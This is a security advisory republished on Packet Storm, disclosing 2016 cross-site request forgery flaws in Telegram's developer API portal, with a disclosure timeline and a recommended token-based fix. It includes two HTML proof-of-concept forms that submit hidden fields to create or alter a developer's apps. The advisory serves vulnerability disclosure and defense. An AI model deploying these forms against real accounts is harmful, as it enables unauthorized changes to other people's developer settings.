exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Telegram (API) Cross Site Request Forgery

Telegram (API) Cross Site Request Forgery
Posted Jan 28, 2016
Authored by Vulnerability Laboratory, Lawrence Amer | Site vulnerability-lab.com

Telegram (API) suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 802eff87ae7f9f7ba843fe8d7b47bc428cbe6416129a5cbd05dd0d2b913bea71

Telegram (API) Cross Site Request Forgery

Change Mirror Download
Document Title:
===============
Telegram (API) - Cross Site Request Forgery Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1648


Release Date:
=============
2016-01-17


Vulnerability Laboratory ID (VL-ID):
====================================
1648


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
Telegram is a cloud-based instant messaging service that focusses on privacy and multi-platform availability. Telegram clients exist for
both mobile (Android, iOS, Windows Phone, Ubuntu Touch) and desktop systems (Windows, OS X, Linux). Users can send messages and exchange
photos, videos, stickers and files of any type up to 1.5 GB in size. Telegram also provides optional end-to-end encrypted messaging with
self-destruct timers. Telegram is run by Telegram Messenger LLP and backed by Russian entrepreneur Pavel Durov. Its client-side code is
open-source software, whereas its server-side code is closed-sourced and proprietary. The service also provides APIs to independent developers.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Telegram_%28software%29 )


Abstract Advisory Information:
==============================
An indepndent vulnerability laboratory researcher discovered multiple client-side vulnerabilities and a filter bypass issue in the official Telegram (API) for app developers.


Vulnerability Disclosure Timeline:
==================================
2015-11-17: Researcher Notification & Coordination (Amer Lawrence)
2015-11-18: Vendor Notification (Telegram Security Team)
2016-01-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Telegram Messenger LLP
Product: Telegram (API) - App Developers 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple cross site request forgery web vulnerabilities has been discovered in the official Telegram (API) for app developers.
The vulnerability allows to unauthorized execute application functions in connection with client-side performed malicious requests.

Attackers can start Cross site request forgery attack against the auth mechanism of the telegram api development to inject a
customized android,ios,... app configuration on any telegram api developer user. By send malicious link contenting an html code
responsible for these changes without an access token to protect developers from these attacks. The impact of the bug is leaving
web application without protection of an access token. Thus allows an attacker to perform these type of attacks doing unwanted
actions in the user settings.

The security risk of the cross site request forgery web vulnerabilities are estimated as medium with a cvss (common vulnerability
scoring system) count of 3.2. Exploitation of the csrf vulnerabilities requires no privileged iOS system user account and low or
medium user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system specific
functions by client-side performed requests to compromise the telegram api dev accounts.


Proof of Concept (PoC):
=======================
The cross site request forgery web vulnerabilities can be exploited by a remote attacker without privileged web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Video
https://vimeo.com/145911184 (password:vuln4safe)


PoC: #1 CSRF for adding android app or any one else as requested ...

<html>
<body>
<form action="https://my.telegram.org/apps/create" method="POST">
<input type="hidden" name="app_title" value="APP_NAME" />
<input type="hidden" name="app_shortname" value="SHORT_NAME" />
<input type="hidden" name="app_url" value="LINK OF USE" />
<input type="hidden" name="app_platform" value="android" />
<input type="hidden" name="app_desc" value="good one " />
<input type="submit" value="CSRF-Add App" />
</form>
</body>
</html>


PoC: #2 Html code to save the API or changed it ...

<html>
<body>
<form action="https://my.telegram.org/apps/save" method="POST">
<input type="hidden" name="app_title" value="APPNAME" />
<input type="hidden" name="app_shortname" value="SHORTNAME" />
<input type="hidden" name="app_gcm_api_key" value="API KEY" />
<input type="submit" value="Save App api-CSRF" />
</form>
</body>
</html>

Note. This CSRF issue is combined by two folloup request to execute successful function with a not expired session by click.


Reference(s):
https://my.telegram.org/apps


Solution - Fix & Patch:
=======================
The vulnerability can be patched by implementation of a secure cookie or access token that protects the important online-service functions.
Setup a csrf token and implement a secure exception to prevent cross site exploitation. Restrict the input and disallow special chars.


Security Risk:
==============
The security risk of the cross site request forgery web vulnerabilities in the offical telegram api for app developers is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close